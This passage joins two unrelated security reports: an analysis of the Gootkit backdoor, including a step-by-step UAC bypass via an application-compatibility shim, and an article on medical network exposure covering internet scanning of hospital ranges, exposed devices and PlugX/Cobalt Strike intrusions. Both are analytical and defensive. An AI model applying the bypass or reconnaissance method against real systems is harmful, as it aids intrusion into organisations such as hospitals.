responsible for VFS initialization and protection. Information about the payload module BackDoor.Gootkit.112 is stored in the Windows registry branch HKLMSOFTWARECXSW as binaryImage32 or binaryImage64, depending on the OS platform (32- or 64-bit). To retrieve the payload, BackDoor.Gootkit.112 injects special shell code into the processes SERVICES.EXE, EXPLORER.EXE, IEXPLORE.EXE, FIREFOX.EXE, OPERA.EXE, and CHROME.EXE. Very few malicious programs inject their code by creating a new user mode thread involving CSRSS.EXE. The main objective of the injected shell code is to download the payload module from the system registry or from a remote server on the Internet. Payload binary files are compressed and encrypted. To bypass the UAC and elevate its privileges in an infected system, BackDoor.Gootkit.112 employs a shim (Microsoft Windows Application Compatibility Infrastructure). The Trojan employs the SQL Server Client Network Utility (cliconfg.exe) whose manifest file has the attribute AutoElevate set to true, so Windows elevates the privileges of such applications without involving the UAC. BackDoor.Gootkit.112 uses the file apphelp.dll to create a fix database. The Trojan generates the database’s name and the value of the Application parameter randomly. To load the Trojan code, it uses the routine RedirectEXE, which lets one executable be run instead of another one. BackDoor.Gootkit.112 uses RedirectEXE parameters to specify the path to its executable and a link to the created database. After that, the fix database (shim) is installed in the system by means of sdbinst.exe whose manifest also has the parameter AutoElevate set to true, so it runs on Windows with special privileges. Overall, the UAC bypass scheme looks as follows: 1. The Trojan creates and installs a new fix database (shim); 2. It then launches cliconfg.exe with elevated privileges; 3. The shim unloads the original process and uses RedirectEXE to launch the Trojan. BackDoor.Gootkit.112's payload is implemented in a large, five megabyte executable written in C++. Most of this file is a JavaScript interpreter known as Node.JS. The executable file contains more than 70 pieces of JavaScript code. A significant portion of them constitutes the Node.JS core which provides an easily accessible interface to work with native objects. Some scripts incorporate the Trojan's payload: they enable the backdoor to execute commands from a remote server and download additional modules stored in the Windows registry, similarly to the main module of BackDoor.Gootkit.112. The Trojan can execute the following commands: - Intercept http traffic; - Inject code into other processes; - Block specific URLs; - Take screenshots; - Acquire the list of running processes; - Acquire the list of local users and groups; - End specified processes; - Execute shell commands; - Launch executables; - Auto update. As mentioned above, the program uses a rare method for injecting code into running processes. A similar algorithm was described on the forum wasm.ru by a user with the alias Great. His description contained exit statuses which were similar to those found in the disassembled code of BackDoor.Gootkit.112. One would assume that the virus writer simply borrowed code from the public source, but the code posted on the forum also described the object called DRIVER_TO_SHELLCODE_PARAMETERS. An object with the same name was also discovered in a personal blog of another user who provided a detailed description of the injection method and claimed that he developed it in cooperation with Ilya Great. The blogger also expressed his great interest in Node.JS whose features are used extensively in the Trojan's code. Moreover, the person also published a post entitled "NodeJS\C++: Native extension for the Registry" in which he described a method for working with the Windows registry branch SOFTWARE\CXS. Another post of his, entitled "NodeJS: Spyware in Javascript?", contains a reference to SpywareModule whose methods incorporate the prefix 'Sp'. BackDoor.Gootkit.112 incorporates similar code. In this regard, one can make assumptions regarding the actual person behind the backdoor with a high degree of certainty. BackDoor.Gootkit.112’s signature has been added to the Dr.Web virus database, and, therefore, the Trojan poses no threat to computers protected with Dr.Web.
# Therapeutic Postmortem of Connected Medicine By Denis Makrushin, Yury Namestnikov on March 13, 2018 ## Smart Medicine Breaches Its “First Do No Harm” Principle At last year’s Security Analyst Summit 2017, we predicted that medical networks would be a target for cybercriminals. Unfortunately, we were right. The numbers of medical data breaches and leaks are increasing. According to public data, this year is no exception. For a year, we have been observing how cybercriminals encrypt medical data and demand a ransom for it. They penetrate medical networks, exfiltrate medical information, and find medical data on publicly available medical resources. ### Opened Doors in Medical Networks To find a potential entry point into medical infrastructure, we extract the IP ranges of all organizations that have the keywords “medic,” “clinic,” “hospit,” “surgery,” and “healthcare” in the organization’s name. Then we start the masscan (port scanner) and parse specialized search engines (like Shodan and Censys) for publicly available resources of these organizations. Of course, medical perimeters contain a lot of trivial opened ports and services, like web servers, DNS servers, mail servers, etc. The most interesting part is the non-trivial ports. We left out trivial services because, as we mentioned in our previous article, those services are out of date and need to be patched. For example, the web applications of electronic medical records that we found on the perimeters were mostly out of date. Using the ZTag tool and Censys, we identify what kinds of services are hidden behind these ports. If you look deeper into the embedded tag, you will see different devices: for example, printers, SCADA-type systems, NAS, etc. Excluding these trivial things, we found Building Management systems that are out of date. Devices using the Niagara Fox protocol usually operate on TCP ports 1911 and 4911. They allow us to gather information remotely, such as application name, Java version, host OS, time zone, local IP address, and software versions involved in the stack. Or printers that have a web interface without an authentication request. The dashboard available online allows you to get information about internal Wi-Fi networks or documents that appeared in “Job Storage” logs. Shodan told us that some medical organizations have an opened port 2000. It’s a smart kettle. We don’t know why, but this model of kettle is very popular in medical organizations. They have publicly available information about a vulnerability that allows a connection to the kettle to be established using a simple password to extract info about the current Wi-Fi connection. Medical infrastructure has many medical devices, some of them portable. Devices like spirometers or blood pressure monitors support the MQTT protocol to communicate with other devices directly. One of the main components of the MQTT communication – brokers – are available through the Internet, allowing us to find some medical devices online. ### Threats that Affect Medical Networks Now we know how they get in. But what’s next? Do they search for personal data, want to get some money with a ransom, or something else? The statistics are a bit worrying. More than 60% of medical organizations had some kind of malware on their servers or computers. The good news is that if we count something here, it means we’ve deleted malware in the system. Organizations closely connected to hospitals, clinics, and doctors, i.e., the pharmaceutical industry, see even more attacks. The pharmaceutical industry means “money,” making it another target for attackers. Let’s return to our patients. The chances of being attacked really depend on how much money the government spends on cybersecurity in the public sector and the level of cybersecurity awareness. In the pharmaceutical industry, the first place belongs to Bangladesh. Bangladesh exports meds to Europe. In Morocco, big pharma accounts for 14% of GDP. India is also on the list, and even some European countries are featured. On one in ten devices and in more than 25% of medical and 10% of pharmaceutical companies, we detected hacktools: pentesting tools like Mimikatz, Meterpreter, tweaked remote administration kits, and so on. This means that either medical organizations are very mature in terms of cybersecurity and perform constant audits of their own infrastructure using red teams and professional pentesters, or, more likely, their networks are infested with hackers. ### APT Our research showed that APT actors are interested in information from pharmaceutical organizations. We identified victims in Southeast Asia, specifically in Vietnam and Bangladesh. The criminals targeted servers and used the infamous PlugX malware or Cobalt Strike to exfiltrate data. PlugX RAT, used by Chinese-speaking APT actors, allows criminals to perform various malicious operations on a system without the user’s knowledge or authorization, including copying and modifying files, logging keystrokes, stealing passwords, and capturing screenshots of user activity. PlugX, as well as Cobalt Strike, is used by cybercriminals to discreetly steal and collect sensitive or profitable information. Taking into account that hackers placed their implants on the servers of pharmaceutical companies, we can assume they are after intellectual property or business plans. ### How to Live with It - Remove all nodes that process medical data from public. - Periodically update your installed software and remove unwanted applications. - Refrain from connecting expensive equipment to the main LAN of your organization.